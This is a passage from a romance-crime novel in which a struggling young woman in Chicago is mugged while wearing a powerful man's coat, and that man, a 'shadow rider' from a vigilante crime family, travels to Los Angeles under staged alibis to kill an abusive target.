Unbidden came the thought of the money Stefano had shoved into the pocket of his coat. It would be stealing to take it and disappear. She had the feeling if she did run, Stefano would find her. He would never allow her to steal from him and not hunt her down. She shivered at the thought. She didn't want him coming after her. He would be relentless and she doubted if he had much mercy in him.
Joanna shook her head. "You're under Stefano's protection. That's what he meant when he said to my uncle to take care of what was his. Clearly the Ferraro family is looking out for you."
Francesca glanced around the room, took the stack of magazines, held them up and lowered her voice even more. "Are you crazy? I can't come under any scrutiny. You know that. No one can know anything about me. Having Stefano Ferraro showing me any interest, for whatever reason, even if he's just worried about my well-being, is dangerous."
Joanna looked crushed. "I _love_ that club. Celebrities go there. Movie stars, Francesca. It isn't like they notice me, but I get to see them up close. Some of the NASCAR drivers go there as well. The bartenders do amazing tricks, just like you see in the movies, and the music is killer. Best dance place in Chicago."
"He said you could go anytime," Francesca reminded gently. "It didn't have anything at all to do with me."
Joanna sighed and nodded. "I guess you're right. What time do you get off?"
"Your uncle said five. It's nearly that now."
Francesca didn't have to look at the clock to know it was close to the end of her shift. Her feet were killing her, toes numb with cold. She was afraid she was going to get frostbite. She wished for a bathtub to soak in. The tiny apartment had only a shower, and the water wasn't very hot. Still, she wasn't about to complain. She had a roof over her head and Joanna's uncle paid her a much better wage than she'd anticipated, which meant if he kept giving her the hours he'd promised her, she could pay another month's rent.
If she just ate one meal a day at the deli, or grazed a little throughout the day, she'd save money. Electricity and water were included in her rent. She didn't have a cell phone or a car. She was on the lookout for thrift stores so she could see if she could find a few more outfits.
"Why the big sigh?" Joanna asked.
"Why would it be such a big deal to the Ferraro family for me to buy a pair of shoes?" The temptation was there. Her feet were so cold she wanted to cry, not to mention, because the shoes were too big, she had blisters from them constantly rubbing.
"Is it a big deal?"
Francesca nodded, leaning into her hand. "Giovanni told me to buy shoes or his brother was going to be angry. He said not to make him angry."
"He said that?" Joanna looked shocked.
"I don't understand why Stefano would care in the first place. It isn't his business. Does he go around the streets and search for people with holes in their shoes and demand they buy new ones? Does he have a shoe store that needs business? And why would he send his brother in here to make certain I actually buy the shoes?"
"Wow." Joanna fanned herself. "That's just . . . _wow_."
Francesca rolled her eyes. "Don't start. It isn't _wow_. It's creepy. Maybe his brother has a shoe fetish and my shoes don't meet his standard for the neighborhood."
"It's _wow_ and you know it. He's hot. He's rich. He's interested in you."
Francesca stiffened. "He is not. Not like that. Take another look in those magazines at what that man's type is. It isn't me. I'm no model. I'm short and have a lot of curves. All the running in the world isn't going to get rid of my . . ." She indicated her generous breasts. "Or my butt. Not to mention, I didn't see one Italian-American woman in the entire harem."
Joanna burst out laughing. "Maybe he's looking to add one."
Francesca couldn't help but laugh with her. "I don't think so."
"You are beautiful, Francesca," Joanna said, sobering. "Really, really beautiful. Your face is flawless. None of those models have anything on you. Your face. Your hair."
"My lovely figure," Francesca said sarcastically. "I'm not a size zero."
"You have a lovely figure. I've always been envious of that tiny waist."
Joanna was tall and willow thin. She easily could have been a model. She liked food and ate more than Francesca could imagine any woman eating without gaining weight, but she just didn't. Every one of their college friends envied her.
"I don't gain in my waist, just up top or my bottom. No pizza for me." Francesca _loved_ pizza, and they were going out for her first Chicago pizza. Joanna told her the best place was right there in the Ferraro neighborhood. That's what she referred to it as—the Ferraro territory or neighborhood—as if they owned it all. Maybe they did. At least the buildings.
"You're going to eat pizza," Joanna said. "You won't be able to resist. This place makes the best. It's orgasmic."
Francesca burst out laughing again. "You're so crazy." Her smile faded. "Joanna. Seriously. Thank you. I don't know how I'm ever going to repay you. I felt so hopeless and I was terrified all the time." She was still terrified, but not so hopeless. And Joanna made her remember friendship, family and laughter.
"Don't be absurd. I'm so glad you've come. I have friends here, but not a bestie. You're my total bestie. In any case, you repaid me already. I have Giovanni Ferraro's card and I can skip the line and get into the club or call him."
Francesca smiled. "There you go. I'm good for getting you into clubs." She glanced at her watch. "I've got to get back to work. I'll wipe everything down and clean up for the next shift. Pietro should be back by then."
Joanna waited for her and they walked out together, Francesca wrapped in Stefano Ferraro's long cashmere coat. She'd considered leaving it in her apartment, but she didn't dare. Her apartment wasn't very safe. The lock was tricky and sometimes didn't actually lock. She'd told the owner and he'd promised to put a new lock in, but she wasn't leaving that coat where someone could walk in and steal it. Who knew that the responsibility of a coat would make her a little crazy?
It seemed silly to carry the overcoat to work, when it would keep her warm, so she wore it, inhaling Stefano's scent with every breath she took. She hung it carefully in Pietro's office rather than in the employees' little break room. Pietro didn't mind. In fact, he seemed happy that she was keeping the coat in his office.
She plunged her hand in the pocket. The money was there. All of it. She hadn't counted it, but she had a feeling she might faint when she found out how much he'd left her. "Where are we going, Joanna? I thought you said the pizza place was the opposite way?" They were heading away from Ferraro territory and the pizza parlor was deeper into it. They'd gone three long blocks, all businesses. Two streets over she knew residences started. They passed her apartment building. It marked the very edge of the Ferraro neighborhood and the next block was rather like her building, shabby in comparison.
"There's only one shoe shop open this late unless we go to the big mall and then we'd have to take the bus."
Francesca halted. "I don't know if I want to spend the money on shoes. Seriously, Joanna, I'd have to pay it back and I have to be careful so I can pay the rent. Having a roof over my head is more important than anything else right now. And I can try to find shoes . . ."
" _Don't_ say it. You aren't going to find shoes at a thrift shop. No way. You aren't putting your feet into something someone's put their feet into."
"Seriously? Joanna, I don't have any money. I can't afford to be picky right now. If Stefano Ferraro is going to lose his mind because I didn't buy shoes and get all mad and punch out his brother, then I need to find a pair of shoes, but I don't have to spend his money on them."
"Punch out his brother?" Joanna echoed. "Did Giovanni say Stefano would punch him out?"
Francesca shrugged. "Something like that. He mentioned not wanting a broken nose."
"Oh. My. God. I'm falling even more in love with the Ferraro brothers. _All_ of them. They're so hot. And cool. And _gorgeous_. I can perv on them for like forever." She caught Francesca's arm. "Here. This shop. Let's just go in. You can see if you can find something you like."
Francesca couldn't help herself. She was sick of having freezing feet, wet socks and toes that were numb from the icy cold. Once again her hand crept into the pocket to the neatly folded bills. She took a deep breath and nodded. It was an insane thing to do, owe Stefano money, but the temptation when her feet were killing her after standing on them all day was more than she could pass up.
It was embarrassing to try on shoes when hers were in such horrible condition. Joanna knew the manager and chatted all the while, allowing Francesca to remain silent. She couldn't look at the man. He was good-looking and flirted outrageously with Joanna. Apparently they'd gone to high school together. It took Francesca a few minutes before she realized Joanna was deliberately distracting him, knowing how embarrassed Francesca was over the state of her shoes. She felt very, very lucky to have such a good friend.
Shoving her wet socks into her wet shoes, she hastily pulled on the warm, dry socks Joanna handed her. Clearly, along with shoes, Joanna expected her to buy thicker socks. Having made up her mind, Francesca didn't waste time arguing. She pulled them on and then allowed the salesman to help her into the boots that had caught her eye. They were lined and felt like a miracle on her feet. They actually fit and when she stood up in them and walked around the store, she had to resist making noises that might have sounded a bit on the orgasmic side. She was _so_ taking the boots. She didn't even care that they cost more than every article of clothing that she owned put together.
"I'm going to wear them out of the store," she announced. "You can throw my old shoes away, socks and all."
Joanna laughed. "That's the spirit. A splurge is definitely in order."
Francesca pulled the money from the pocket of the coat and walked with the salesman and Joanna to the counter. Every single step was heaven. Keeping her hands below the counter, so the salesman wouldn't see, she counted out the bills. Most were hundreds. There were a few twenties and two tens. She knew the color left her face and her heart nearly stopped beating before it began pounding.
She caught Joanna's arm and dragged her away from the counter. "Oh. My. God. Joanna. There's over a thousand dollars here. I've been walking around with that kind of cash in the pocket of the coat. What was he thinking?"
Joanna gawked at her. "Are you sure?"
Francesca nodded slowly. "Positive. I counted twice." She glanced toward the counter. The salesman was watching them closely.
"Is something wrong?"
For the first time, Francesca glanced at his name tag. Mario Bandoni was totally into Joanna. Even though he was asking Francesca if something was wrong, he was looking at Joanna with a softness in his eyes.
"No," Joanna answered for them. She snatched two of the hundred dollar bills from Francesca. "We'll take a couple more pairs of socks as well."
"Joanna," Francesca protested.
Joanna ignored her and handed the money to Mario. He flashed her a grin, disregarding Francesca's protest as well.
"You going to write your phone number down?" he asked Joanna.
Francesca walked across the room to stare out into the gathering dusk. There were two men standing just off to one side of the store talking together. A couple walked by, the man glancing over his shoulder warily several times at the two men still talking. Francesca realized she'd never seen a hint of nervousness when she'd walked home from work the night before, or when she'd walked to the deli in the morning.
She wondered at a family who could protect their territory so well that the residents felt that safe, even in the middle of a city. Pulling Stefano's coat closer around her gave her a strange sense of security. It shouldn't. He was a terrifying man. She didn't understand why he would give her a thousand dollars so casually. He didn't know her. For all he knew she would go on a shopping spree at his expense. She knew, now that Joanna was aware how much cash she had, that Joanna would try to talk her into buying decent clothes. She'd probably insist they go to the club.
"Where are you two heading?" Mario asked.
"Petrov's Pizzeria" Joanna said. "I plan on impressing Francesca with the best pizza in the world, although I didn't make reservations. I'm counting on Tito letting us in. He always finds me a table."
"Best pizza ever." Mario flashed a grin at Joanna.
"We're also thinking about hitting the Ferraros' club this weekend," Joanna said. "I've got a go-to-the-front-of-the-line pass. Do you like to dance?"
He laughed at her. "Joanna, come on. Who was the king of dancing in school?"
She wrote down her number. "Call me. We'll set something up." Waving her hand, she pulled open the door and they went back outside. She leaned into Francesca. "I'm _so_ going to get lucky. I've always crushed on Mario. _Always._ He's so sweet. And I have to tell you, the man can dance like no one's business."
"Only you can walk into a shoe store and come out with a date," Francesca observed. "You could in college and apparently you're still as hot as ever. I don't think the man could describe me even if someone asked him to. He had eyes only for you."
"That's not true."
Francesca laughed. "Don't deny it. You've always been a man magnet, at least as long as I've known you. I'll bet you were the prom queen."
"You know I was, so you can't bet on that," Joanna protested, pushing at Francesca.
A hand caught Francesca's coat from behind, whirled her around and slammed her so hard against the wall the breath was knocked out of her. She felt the hot burn of something against her throat. A man held her tightly, one arm shoved against her chest, the other holding the edge of a knife to her throat. She knew he'd made a very shallow cut there because not only did it burn but she felt the trickle of blood.
She should have thought about dying, but all she could think about, rather hysterically, was that she couldn't get blood on Stefano's coat. He loved that coat. He'd made a big deal about her returning the coat. She should _never_ have worn it anywhere. Joanna let out a shocked scream that was hastily cut off. Francesca could see a second man with his arm around her throat and a hand over her mouth.
"Give me the money, bitch, or you're dead," the man with the knife snapped at Francesca. "Right now. Give it to me."
She was going to owe Stefano a new cashmere overcoat that had to have cost what a car might, as well as over a thousand dollars. She had stupidly counted the money in front of the window of the store. She'd been so careful not to let Mario see the wad of cash, but she hadn't thought about the window.
She couldn't think what to do. She couldn't let him have the coat or the money. She couldn't get blood on the coat. She started to struggle, which was the absolute stupidest thing she could have done, but she was more afraid of owing Stefano Ferraro than of having the mugger slit her throat.
One moment her assailant had a knife against her neck and the next he was on the ground and the knife was in the hands of a big, burly man. Her savior looked furious. He wasn't alone, either. His companion, looking every bit as scary, held a gun on the other man. He'd gently pulled Joanna to one side and then put her behind him, away from their assailants.
The first man, the one who had removed the knife, handed Francesca a handkerchief. She pressed it against the cut.
"Are you all right?" he asked. He kept a foot on her assailant's neck, not allowing him to get up off the sidewalk. He wasn't gentle about it, either. "I'm Emilio Gallo. That's my brother, Enzo."
Francesca pressed back against the building, very, very scared. No, terrified. This was her worst nightmare, to bring trouble to Joanna.
"We work for the Ferraro family," Emilio continued, obviously trying to reassure her. "Cousins. First cousins." He kept trying to soothe her, not realizing he was making it worse. "What were they after?"
The moment she heard who they worked for, Francesca tore the coat from her back and tried to shove it at Emilio. "Take it. Really. You have to take it. Take the coat to him."
Emilio didn't move. He stayed as still as a statue, one fist closed around the knife, the other hand down at his side. Both men stared at her as if she'd lost her mind.
Joanna moved cautiously around Enzo to put her arm around Francesca. "Honey, it was just a robbery. That's all. Put the coat back on. You're shaking like a leaf. Here, let me help you." She took the coat from Francesca and held it out for Francesca to slip her arms back in. "There, honey, that will keep you warm." Joanna smiled at their rescuers. "Do you want me to call 911 and report this?"
"You go along. Another team will pick you up so you'll be safe. Mr. Ferraro will want to speak to these gentlemen in person."
Emilio was soft-spoken, but Francesca wasn't fooled. The two men were in a lot more trouble than they would have been if the police were called. A dark town car pulled to the curb, and Enzo shoved one mugger inside before Emilio dragged the one up off the ground and shoved him in. Francesca found it significant that neither of the muggers was tied up, yet they didn't attempt to fight; instead, they looked very scared.
Francesca's gaze clung to Joanna's, but she spoke to Emilio. "You aren't going to kill them, are you?" She couldn't keep the quaver from her voice.
"Francesca," Joanna hissed.
Francesca forced herself to look at Emilio. "Are you?" She tilted her chin. She didn't have a cell phone to call the police with, but Joanna did and she'd use it if she had to.
"I have no intentions of killing them," Emilio said. "Mr. Ferraro will want to talk to them."
She didn't ask which Mr. Ferraro because she was fairly certain she knew. Keeping the handkerchief pressed to the shallow wound in her throat, she let Joanna lead her away.
"He said there was another team on us," Joanna whispered. "As in bodyguards. When Stefano said you were his to my uncle, I had no idea what he meant. He's serious. Bodyguards? More than one _team_ of bodyguards? That and his brother coming into the store to talk to you? What is going on, Francesca?"
"I have no idea."
"What did he say to you when he took you outside? Did he ask you out?"
"No. Of course not. He didn't show that kind of interest," Francesca denied. She ignored the intense chemistry that had arced between them. She'd felt it, but she wasn't positive Stefano had. "He just seemed worried that I didn't have a coat or shoes. He told me to get myself something to eat."
"He gave you all that money. You could buy some decent clothes with it. Clearly that's what he wanted you to do." Joanna snapped her fingers. "We could get you a killer dress for the club and heels to match."
"We nearly got robbed and you're thinking of spending the money? I'm going to ask your uncle to put it in his safe along with this coat. I nearly died when that mugger made me bleed and I thought I might get blood on Stefano's favorite overcoat."
Joanna burst out laughing. "That's scary crazy and so are you, Francesca. Held at knifepoint and even cut, but you aren't worried about being robbed, just a coat."
"Not _just_ a coat," Francesca denied, with a small grin, finally finding humor in the situation. "Stefano Ferraro's _favorite_ coat. And after that I was worried about them taking his money and trying to figure out how I'd pay that back. I was considering stripping for a living."
Joanna's laughter went from forced to genuine. "Stripping?"
"I had four years of pole dancing for exercise in college. I believe you did as well. We were pretty good."
" _You_ were pretty good," Joanna corrected. "You're great at dancing, too. You can move your body in a million different ways all at once. I forgot how envious I always got when you were on a dance floor."
"Muscle control and core strength. If you hadn't cut half the classes for a date, you would have managed the advanced classes."
Joanna shrugged. "I was studying anatomy. What can I say? I got pretty good at that." She took Francesca's arm. "So what do you think? Should we go spend money at the mall? Get a killer dress and go out to the club this weekend?"
"No way. I'm _not_ spending one more penny. In fact, if I make enough money to pay the rent before he comes looking for his coat, I'll pay him back for the shoes and he'll never know I used any of his money."
Joanna's eyebrows nearly shot into her hairline. "You are so stubborn, Francesca. If I had an opportunity like you have, protection from the Ferraro family, and a thousand dollars to spend, believe me, I'd be counting myself lucky, not resenting it."
Francesca sighed. "I guess I do sound resentful instead of thankful. It's just that . . ." She trailed off, looking around her. They were back in Ferraro territory. Whatever Stefano and his brothers were, the neighborhood felt different. Safe. She couldn't imagine the attack happening on their ground. She couldn't deny that she could feel that difference. She hadn't felt safe in a very long time. Without thinking too much about the why, she snuggled deeper into Stefano's warm coat. "He's so wealthy. Not a little bit well-off, everything about him screams money. I don't like that type. They live so differently than mere mortals like us."
Joanna flashed a grin. "You got that right. Jetting off around the world at a moment's notice. It's no wonder they forget what it's like to live from paycheck to paycheck."
"They don't forget," Francesca corrected. "They've just never had to do it."
# CHAPTER THREE
The moment the wheels touched down on the runway in Los Angeles, Stefano unbuckled his seat belt and looked across the narrow aisle at his two brothers. "Is everything set?"
Ricco nodded. "The Lacey twins are meeting us and bringing a couple of friends. We'll party with them at the local hot spot and be very visible."
Stefano shook his head. "The Lacey twins? Again? Seriously, Ricco?"
"They're hot right now. The roles they get are prime and the paparazzi follow them everywhere. They're perfect. We'll be splashed all over every gossip rag there is. By tomorrow morning, the Internet will blow up with pictures and speculation."
"You want me to believe you chose them because they'll give you a lot of exposure?" Stefano pinned him with a glare. "You like fucking them both."
"Well." Ricco grinned at him. "There's that. It also gives me a chance to practice the art of Shibari _._ I like to keep my skills sharp."
"You like to fuck them after you tie them up, and that's going to come back to bite you in the ass," Stefano declared, his voice mild, but there was nothing mild about the look he gave his brother. "It isn't like the gossip is going to go away when the pictures and articles are everywhere. You can't exactly deny it. You find your woman and how are you going to convince her one woman will be enough for you when you're always with two?"
The smile faded from Ricco's face, leaving it bleak, a stone mask. "The chances of that happening are like one in a million. This woman coming into our territory is a fluke, Stefano. We all know that. More, you have a long road ahead of you. Nothing guarantees that she stays."
Stefano went still inside. He knew Ricco was right, and he was also wrong. Fate was strange—one moment giving no hope and the next handing the world to a man. Not the world—a glimpse of what might be. He sighed. Who was he to lecture his brother? He'd done a few crazy things, but not publicly, not so if he ever found a woman to call his own, he would be ashamed. Binding a woman to him, forcing her to accept his life, was going to be a difficult enough task, but he _would_ do it. Now that he knew there was a possibility of having her, he would make it a reality. There was no other choice for him—or for her.
"You have a point," he conceded in a low voice. "It is your life, Ricco, and what you choose to do is for you to decide. Just know that if your woman does walk into your life, asking her to live with our name, within the rules of our family, is a big enough curse. What else do you have to offer her?"
Across from him, Vittorio stirred. "Are you certain this woman is one that you can bind to you?"
Vittorio. Always the peacemaker in the family. Stefano smiled at him. It wasn't an easy smile because Stefano, even with his own family members, rarely felt like smiling, but it was there all the same because Vittorio was such a good man. Stefano was always proud of him. They needed to hear how the miracle had happened. They knew, from watching other family members, that finding a shadow rider outside the family was a rare phenomenon and none of them had ever believed it would happen to them.
Stefano knew his brothers needed hope. Ricco especially. He was wild. Sometimes out-of-control wild. Not with the family business, of course. Then he was stone cold and all about business, but he took risks. Too many. He was the best driver in the family, and they were all good, but Ricco often _needed_ the adrenaline rush of fast speeds just to keep him sane.
In another family, Ricco would have been an artist. In their family, creativity was only about the ability to find ways to carry out their work. Ricco had turned to the erotic form of Shibari to satisfy both his need for creating art as well as his sexual needs. He was darker than his brothers, and more prone to violence and chance taking, yet his work was impeccable.
Stefano sighed. His brothers needed to know there was hope. "I felt an electrical charge in the air and found it disturbing. I thought it was a bad thing, a premonition of something coming that our family would have to deal with. The need to stay there was so strong, I couldn't leave. Even knowing we had to be on a flight for work didn't matter. Nothing else mattered enough to make me leave."
Stefano didn't know why he admitted to his brothers how little control he had had when he should have gotten into his car and driven straight to the airport, but he knew he had to tell the truth. To be precise about the facts. It was important.
"I was standing by my car, out in the street by the driver'sside door. If I had ignored that compulsion to stay, I would have gotten in, driven away and I would never have seen her." That needed to be said. His brothers had to stay alert. Be aware.
"There's a tradition in our family," Vittorio said. "When the first arrives, the others will follow."
"It didn't happen for our cousins in London," Ricco said. "None of them married or had children. Nor did the ones in Sicily."
Stefano kept going. He could give them this. A moment in his life he knew he would never forget. He would share what he considered a private, perfect, almost frightening moment. "I heard her voice first. She responded to something Joanna Masci said to her. That note in her voice turned the key, unlocking something deep inside of me. I _felt_ it like a terrible wrenching inside. Everything in me reached for her. For that note she left hanging in the air. I heard the music in me answer."
He fell silent a moment, reliving that moment in time that had changed everything in his world. His heart had pounded in his chest. Hard. So hard it actually hurt. Physically hurt. He could go into a room full of enemies and his heart rate never once elevated, yet hearing that musical note in the air had acted like a key, unlocking a matching note in his body and throwing his iron composure.
"It wasn't snowing, but it was icy cold. The ground was wet and covered in puddles. Time seemed to slow down, but I was aware of everything, yet only her. I saw and recognized who and what she was by her shadow—by the tubes connecting her to everything. Every step she took, I could feel the channels opening everywhere until she took the one step that finally connected us."
His fingers closed, one by one, into a tight fist, as if he could hold her to him. He'd had a primitive desire to throw her over his shoulder and carry her to a dungeon, one with a lock so she could never escape. He couldn't give them that moment, that connection when they joined. That was for him alone. That was private. The jolt was intense. Sexual. His body had reacted, his cock hard and urgently full. Everything protective and primal in him had risen to meet her. To claim what he knew absolutely was his.
"She was freezing. I could feel how cold she was. How hungry."
His throat closed on him. His heart had stuttered in his chest. His woman. The woman who would end the gnawing loneliness. End the hunger for a family of his own. He was a force to be reckoned with. The world he lived in was dark and violent. Unrelenting and unforgiving. He protected the weak. He brought justice to those above justice. One word. One phone call. Life or death. He _protected_ everyone. Yet his woman was freezing. Hungry. In the cold and wet of Chicago. Alone. Unprotected. And she was scared. _In Ferraro territory._ When their shadows had reached for each other, he felt that as well. Her terrible fear.
He swore under his breath. Hating that moment. Feeling a failure. He would have to leave her there, out in the cold. Alone. Afraid. He'd felt helpless for the first time in his life. He'd started training, like those before him, at the age of two. He'd been trained to believe he was powerful. Strong. Intelligent. He moved where others couldn't, in a world of shadows. Silent. Deadly. Invincible. _His woman was cold and hungry._ What good was his training? What good was he?
"I did what I could, but she's in trouble."
"Giovanni won't let anything happen to her," Ricco soothed. "He'll watch over her until this is done. She's yours, Stefano, but she's ours as well. She belongs to all of us. You put teams on her. Nothing will happen to her. Let's just get this done and you can get back to her."
Stefano looked at his brothers. "I stood there, holding her against the wall, wrapping her up in my coat, the only thing I had to protect her with, to tell the world she was mine and I would hunt down anyone who harmed or attempted to harm her. I looked down at her and knew she is everything I'm not. She deserves a better life than the one I can give her."
That moment was etched in his mind forever. Burned there. She'd been frightened of him. He couldn't blame her, but still, he detested that look. At the same time, touching her skin, feeling the silk of her hair . . . Just that. It was all it took to wipe out every ugly thing in his life and give him something beautiful. He hadn't known beauty really existed until that moment. "She deserves better," he reiterated aloud.
The air stilled. No one breathed. Ricco exchanged a long look with Vittorio.
"What are you saying?" Vittorio asked, his voice gentle. "Stefano, you can't walk away from her. You can't do that."
"No. I can't." Pure regret. No remorse, but definitely regret. "I'm not that good or that strong of a man to let her go. She's mine. I take what's mine. She doesn't know it. Doesn't want it. Doesn't want me or anything to do with me." A trace of amusement crept in. "She deserves better, but she'll be with me and no one else."
"We're hunters," Ricco said. "She doesn't stand a chance."
"No, she doesn't," Stefano agreed. "Let's get this done. You two be visible. The light's right outside. Ricco, go out first. I'll slide into the shadow of the doorway just behind you, and Vittorio can follow you out." He glanced at his watch. "If I get the signal to go, I'll do the job. Make certain you get your pictures taken and you're on the security footage of as many cameras as possible."
Ricco and Vittorio had boarded the plane in Chicago, playing their parts of bored playboys with too much money and time on their hands. They'd raced their cars through the streets to get to the airport to their private hangar, where their jet was already fueled and ready. A couple of paparazzi had followed them, snapping pictures, just as the brothers had intended.
Stefano arrived by helicopter and strode over to them, intercepting them before they could board the plane. They'd appeared to argue long enough to have several pictures of them taken, the big brother giving his younger brothers a lecture. He'd stalked away, shaking his head, back toward the helicopter. Except he hadn't been the one to go back to the helicopter. For one split second, Ricco and Vittorio had blocked views of Stefano and he'd entered the shadow and his brother Taviano had emerged, dressed exactly as Stefano was dressed. He shoved his dark glasses over his eyes and stalked back to the helicopter while Stefano used the shadows to board the plane.
Always, always, they had alibis. There was never a connection between them and the target. Nothing personal. Still, they lived in that world. Violence. Blood. Death. It was their world. Ricco and Vittorio were seen in public coming and going to the airport. They would be in the clubs all night, openly partying with a couple of movie stars and their friends. As far as anyone knew, no one else had flown with them and they were in Los Angeles to have fun.
Stefano had to shut out all thoughts of Francesca Capello and get the job done. Ricco stood, then Vittorio. Stefano last. Ricco put his hand out. Vittorio put his on top, and Stefano covered both hands with his. They never said anything. There was nothing to say. They just touched. Letting one another know without words they were a unit. A family. They had one another's backs. They loved.
Ricco went first, the door opening, throwing the shadows into stark relief. Stefano felt the pull of each of the shadow tubes. Openings he could slide through. The pull was strong on his body, dragging at him like powerful magnets, the sensation uncomfortable, but familiar. Stefano was one of the more powerful riders. Even small shadows drew him, pulling his body apart until he was streaming through light and dark to his destination.
He carried little equipment with him. Light. That was more essential than any weapon. _He_ was the weapon. His body. His mind. Sometimes he thought his very soul. Weapons weren't as necessary as a light source. If there were no shadows, he could make his own.
He stepped into the opening of the largest shadow. He would move from one to the next, never seen, going to his destination. He knew he'd need most of the night for traveling, but he had the coordinates and he could find his way unerringly, even in cities he'd never been to.
It was always cool in the shadows. He moved fast, sliding, a rider of the shadows, slipping through the city unseen. In contrast, Ricco and Vittorio entered the latest hot spot, a club catering to the very wealthy. The music was loud and pounding. The lights dazzling. They wore their three-piece suits. The Ferraro family always, always, dressed for any occasion. They were famous for the look. The gray suits with the darker pinstripe, or the darker suit with the lighter pinstripe. Either a dark gray shirt or a lighter one with a tie just the opposite of the shirt.
On Ricco's arms were the Lacey twins. They snuggled close to him, their blond hair falling over his arms, their slender bodies pressed close to his sides. They stayed that way all night, the three of them blatantly dancing together, Ricco sandwiched between the two women. They moved against him seductively, suggestively. As the night wore on and the beat pounded, the liquor flowed and his hands were all over both of them.
All three of them knew the paparazzi had managed to sneak in. The twins liked the publicity and being seen with a wealthy Ferraro. They didn't mind if they were secretly photographed, not even later when the three retired to the twins' home and swam naked together in the covered pool or even later still, in the hot tub on the open deck, where a zoom lens could find them.
Ricco always practiced his art of erotic tying away from the camera. Still, the twins talked about how sexy and sensual it was to their friends, who then repeated everything to the paparazzi. Still, no photographer had ever actually gotten a picture of Ricco using the art of Shibari on a woman.
Vittorio was much more discreet. He danced with the Lacey twins' friend, another up-and-coming actress. She was quieter than the twins, but no less willing to be seen. If anything, she was even hungrier for publicity. There were no innocents in their business, and the brothers made certain of that. They didn't romance women. They had their fun, made certain the women they fucked had fun as well, but they didn't date. They didn't make promises. They never, never, took advantage of a woman who didn't know the score or the game.
There were rules. Lots of rules. They lived them to the letter, never deviating. The brothers were highly sexual and they had no compunction about finding women who were more than willing to see to those needs in return for the same, but there were never emotional entanglements. Any woman who looked as if she might be getting ideas, or real feelings toward them, was dropped instantly.
Stefano had more than his share of women. He'd been careful though, mindful of the fact that what was put on the Internet or in magazines never went away. Any indiscretion could be brought back at any moment. He didn't mind the press printing the truth—that the brothers went through women, that the women were wealthy celebrities or heiresses and that they all partied hard. The brothers and their sister provided alibis for one another. Always. It didn't matter what city, or which state—no job could ever be traced back to them, and though they didn't know it, the paparazzi aided them with those alibis.
Stefano found himself in a residential area, outside the home of his target. The neighborhood was a good one. The home was large, perhaps a good six thousand square feet. Well kept. The yard maintained. Edgar Sullivan resided there. In his community he was known as a hardworking man. An upstanding man. A pillar in his church. He had a wife and two daughters. Few people ever noticed that the women in his home had little to say. Rarely smiled. Jumped in fear if spoken to and looked to him before they answered the simplest questions.
Edgar ruled his family with an iron fist. He did the same with the prostitutes he frequently hired. He was warned repeatedly that the beatings and damage he was doing wouldn't be tolerated, but so far, the pimp had been unable to protect his women. At first the money Edgar had paid for the damages to the women had been enough to keep the pimp quiet, but after a while Edgar's urges couldn't be controlled at all, nor did he bother to try. The pimp had taken his money and Edgar expected him to continue to do so. Two women had been hospitalized. They knew better than to talk, but the pimp had had enough. There was no way for him to get to Sullivan, not without the law finding out. So he'd appealed to the Ferraro family for aid.
Anyone could make the appeal for a meeting. All meetings were conducted in person. Stefano's parents took those meetings. They chatted casually with a potential client. That was always necessary. Every person had a natural rhythm. Patterns of breathing. Of speaking. Heartbeats. Inflections in their voices. That casual conversation allowed the "greeters" to establish those patterns. From there they could almost always detect lies.
Essentially, "greeters" in the Ferraro family were people born as human lie detectors. That was their psychic gift. They listened to the petition for aid, but that was all. No promises. Just listening. If an undercover cop tried to infiltrate their organization, he couldn't fault the greeter for simply listening. Greeters never responded with any kind of commitment. They mostly remained silent through the entire interview. Once they got the casual conversation out of the way and established the pattern of truth, the greeters simply asked their potential clients to explain why they'd come. Former Shadow Riders often took jobs as greeters when they retired because all were born with the ability to detect lies.
Stefano wouldn't be standing outside of Edgar Sullivan's home now if the greeters hadn't passed on their client to the investigators. Stefano's family had two teams of investigators. His aunt and uncle formed one team, and his cousins, both men, formed the second team. It was the first team's job to find out every possible fact about the client. It was the second team's job to find out every fact about the crime. Both teams worked carefully and quietly. They wouldn't have the job unless, like the greeters, they were human lie detectors, and their voices could also influence others to talk, to open up and tell them anything they wanted to know. To be an investigator, they had to be a family member and also have both specific psychic gifts.
Stefano studied the shadows surrounding the Sullivan home. Lights were on in three rooms on the second floor. Stefano called up a blueprint of the house from his mind. He'd studied the house plans from the data the investigators had turned in. He read every scrap of information provided on both the client and the target.
Greeters, investigators and the shadow rider had to all agree before the job was taken. To do that, the shadow rider needed to know every fact about both parties, where they lived and who lived with them. Their routines, their friends. _Everything._ A shadow rider had to be able to slide through the portals, have a photographic memory and enough energy to disrupt electrical devices should there be need.
Stefano slid his burner phone out of his pocket. This was one of the very few times he would be vulnerable. He had to be out of the shadow's portal to make the call. That meant, if he didn't blend perfectly with the shadow, anyone could spot him. Like his brothers, he wore the signature three-piece suit—gray, pin-striped, the stripes giving the light-and-dark effect needed. At any given time, they were ready to enter a portal if necessary. The suit was synonymous with the Ferraro name, but it served a vital purpose.
He punched in the numbers and didn't give a greeting when the line was opened. "Do we have a go? Am in ready position." It was necessary to triple-check everything. The investigators continued to work even after they were certain. No one wanted a mistake. They also didn't do the work, if money was involved, until the client complied and paid.
The money would be deposited first into one of their offshore accounts. Once the money was there, it would be layered through several banking institutions the Ferraro family owned or had interest in, through several countries until the source was impossible to trace. The money came back to them through legitimate businesses the family owned. The family had managed their way for the last couple of centuries, the businesses growing along with their bank accounts.
Even now, with Stefano in place and his brothers partying it up, the transaction could be called off. He waited, uncaring of the outcome. It was a job, nothing more. He was good at what he did, but he could walk away easily if it came to that. The money had to be deposited before the job would be done. The investigators had to be completely satisfied that justice had to be served. No life could be taken lightly.
"It is a go."
There it was. He immediately slid back into the shadows. The phone would be broken and placed in a trash can at the other side of town, somewhere near the airport. He wore thin gray gloves, of course, never risking a print.
He studied the network of shadows and the tubes they provided. The pull was strong enough that his chest felt as if it were flying apart, his insides coming out. It was an uncomfortable sensation and one that he'd never gotten used to, no matter how many times he'd done this over the years.
Instinctively he chose the longer, narrower shadow, the one that led up onto the back porch and under the door. Inside, a faint light was on over the stove. He could use the shadows cast along the floor to find his next ride. The wrenching in his body was hard as the ride took him fast, nearly throwing him out of the portal and onto the kitchen floor. He stopped his forward momentum and took a moment to breathe and get his bearings. The narrow tunnels were always a difficult traveling experience because they acted like a slide, the body moving at such tremendous speeds. The strips of light and dark were fused closer together, providing a kind of rail that felt like greased lightning. He preferred the larger, darker shadows, and a slower, but more sustainable ride.
